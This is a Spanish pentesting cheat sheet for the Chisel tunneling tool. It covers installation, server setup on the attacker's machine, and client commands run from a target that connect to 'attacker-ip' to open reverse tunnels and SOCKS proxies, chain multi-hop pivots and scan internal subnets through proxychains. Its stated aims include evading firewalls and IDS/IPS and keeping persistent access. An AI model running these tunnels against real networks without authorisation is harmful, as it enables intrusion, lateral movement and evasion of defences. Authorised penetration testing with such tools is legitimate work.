Chisel es una herramienta de tunneling de código abierto escrita en Go. Crea túneles cifrados sobre HTTP/HTTPS, lo que la hace excelente para evadir firewalls yIDS/IPS que permiten tráfico HTTP pero bloquean otros protocolos.
¿Qué hace Chisel?
• Port forwarding local (L): expone un puerto local al servidor
• Port forwarding remoto (R): expone un puerto del servidor al cliente
• SOCKS5 proxy: crea un proxy SOCKS para tunelizar cualquier tráfico
• Multi-hop: encadenar múltiples chiseles para llegar a redes internas
¿Por qué Chisel sobre otros túneles?
• Binario estático sin dependencias (Go)
• Funciona sobre HTTP/HTTPS (evade firewalls)
• Soporta multiplexing de canales
• Autenticación con credenciales o tokens
• Compila para todas las plataformas (Windows, Linux, macOS)
Casos de uso en pentesting:
- Acceder a una red interna desde fuera del perímetro
- Pivoting entre segmentos de red
- Exponer servicios internos para análisis
- Evadir firewalls que solo permiten HTTP/S
- Mantener persistencia de acceso
# ── INSTALACIÓN ───────────────────────────────────────
# Descargar binario precompilado
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
gunzip chisel_1.9.1_linux_amd64.gz
chmod +x chisel_1.9.1_linux_amd64
mv chisel_1.9.1_linux_amd64 /usr/local/bin/chisel
# O compilar desde fuente
go install github.com/jpillora/chisel@latest
# Verificar
chisel --version
# ── SERVIDOR (en máquina atacante) ────────────────────
# Escuchar en puerto 8080, permitir conexiones
chisel server --port 8080
# Con autenticación
chisel server --port 8080 --auth usuario:password
# Con SOCKS5 habilitado
chisel server --port 8080 --socks5
# ── CLIENTE (desde máquina objetivo) ──────────────────
# Conectar al servidor y crear túnel local
chisel client attacker-ip:8080 9090:localhost:3389
# → Accedes a RDP del objetivo vía localhost:9090
# SOCKS5 proxy
chisel client attacker-ip:8080 1080:socks
# → Usas proxychains para tunelizar tráfico
# Port forwarding remoto
chisel client attacker-ip:8080 R:8443:internal-host:443
# → El servidor expone el puerto 8443 al internal-host:443
# ── PIVOTING A TRAVÉS DE MÚLTIPLES HOPS ──────────────
# Hop 1: desde DMZ a red interna
chisel client attacker-ip:8080 R:9090:10.10.10.1:3389
# Hop 2: desde interna a red de datos
chisel client 10.10.10.1:9090 R:9091:172.16.0.1:445
# ── USO CON PROXYCHAINS ───────────────────────────────
# Configurar proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
# Usar cualquier herramienta a través del túnel
proxychains nmap -sT -Pn 172.16.0.0/24
proxychains curl http://172.16.0.50/internal-app/